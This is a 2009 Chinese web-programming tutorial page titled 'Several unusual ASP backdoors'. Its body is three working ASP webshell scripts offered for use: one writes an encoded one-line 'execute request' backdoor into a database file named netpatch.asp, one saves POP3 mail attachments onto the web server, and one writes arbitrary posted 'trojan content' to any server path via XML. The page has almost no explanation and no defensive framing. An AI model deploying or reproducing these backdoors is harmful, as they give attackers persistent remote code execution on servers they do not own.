繁體中文当前位置: 首页 > 图文教程 > 网络编程 > ASP > 几种另类的ASP后门
- ASP
- 基于ASP的收发文管理系统的设计与实现
- 用ASP制作张扬个性的调查系统
- 使用XMLHTTP制作域名查询系统
- Delphi编写组件封装asp代码的基本步骤
- 采用XMLHTTP编写一个天气预报的程序
- 菜鸟详听ASP中也能解压缩rar文件
- 用Asp+XmlHttp实现RssReader功能
- 纯ASP代码之公历转农历实现(含属相)
- 纯ASP代码之公历转农历实现(含属相)--例子代码
- 多个域名后缀同时查询的域名查询系统
- 实现有管理功能的ASP留言板
- Jmail发信的实例,模块化随时调用
- 纯ASP(VBscript)写的全球IP地址搜索程序
- 数字和字母组合并生成图片的验证码祥解
- 金额大小写转换的asp完全无错版本
- 用ASP学做一个在线调查
- 利用客户端js实现汉字简体繁体转换
- ASP操作XML文件的完整实例
- 浅谈TeeChart组件在ASP中的应用
- 在VB中利用Word宏命令开发ASP组件
几种另类的ASP后门
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-13 浏览: 168 ::
收藏到网摘: n/a
asp后门 另类的ASP后门 <%
'code by netpatch
dim dbfile,sql
db="netpatch.asp"
dbfile=server.MapPath(db)
set ydb=server.CreateObject("ADOX.Catalog")
ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile
set ydb=nothing
if err.number=0 then
Response.Write dbfile & " 创建成功<br> "
else
Response.Write "创建失败，原因： " & err.description
Response.End
end if
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile
sql="CREATE TABLE fdata([data] Memo)"
conn.execute(sql)
Set rs = CreateObject("ADODB.RecordSet")
rs.Open "FData", conn, 1, 3
rs.addnew
rs("data")="┼攠數畣整爠煥敵瑳∨≮┩>" '(注释记得去掉！一句话后门 execute request(“n”))
rs.update
%>
用Jmail写文件进硬盘
<%
'codz by kEvin1986 [S4T]
User=Request.Form("User")
Pass=Request.Form("Pass")
Popserver=Request.Form("Popserver")
if User<>"" and Pass<>"" and Popserver<>"" then
Set objmail = CreateObject( "JMail.POP3" )
objmail.Connect User, Pass, Popserver
set objmsg=CreateObject("jmail.message")
Set objmsg = objmail.Messages.item(1)
separator = ", "
response.write "Attachment Name is: " & SaveAtta & "<br>"
objmail.Disconnect
End if
Function SaveAtta()
Set Attachments = objmsg.Attachments
separator = ", "
response.write "The size of this Attachment is: " & objmsg.size & "<br>"
For i = 0 To Attachments.Count - 1
If i = Attachments.Count - 1 Then
separator = ""
End If
Set Theatta = Attachments(i)
response.write Theatta.Name
Theatta.SaveToFile(Server.Mappath(".") & "\" & Theatta.Name)
Response.write "Oh!Hey Guy.....That's OK!"
Next
End Function
%>
<Html>
<Head>
<Title>Jmail Save File Shell</Title>
</Head>
<Body>
<Center>
<Form Method="POST">
User: <input name="User" type=text value="kevin1986"><br>
Pass: <input name="Pass" type=text value="1986lovinghuan"><br>
POP3: <input name="Popserver" type=text value="pop.163.com"><br>
<input type=submit value="Get the Attachments Of the First Mail">
</Form>
</Center>
</Body>
</Html>
利用xml写马
<%on error resume next%>
<form id="form1" name="form1" method="post" action=''''>
<p>木马内容</p>
<p><textarea name="flashboy" cols="80" rows="10"></textarea></p>
<p>路径</p>
<p><input name="textfield" type="text" size="50" /></p>
<p><input type="submit" name="Submit" value="提交" /></p></form>
<p><%Response.write "本文件绝对路径"%>
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%></p>
<%
dim xmlString
dim xmlDoc
xmlString= Request("flashboy")
set xmlDoc = server.createObject("Msxml2.DOMDocument")
xmlDoc.loadXml(xmlString)
f=Request("textfield")
xmlDoc.save(f)
set xmlDoc=nothing
%>
评论 (0) All
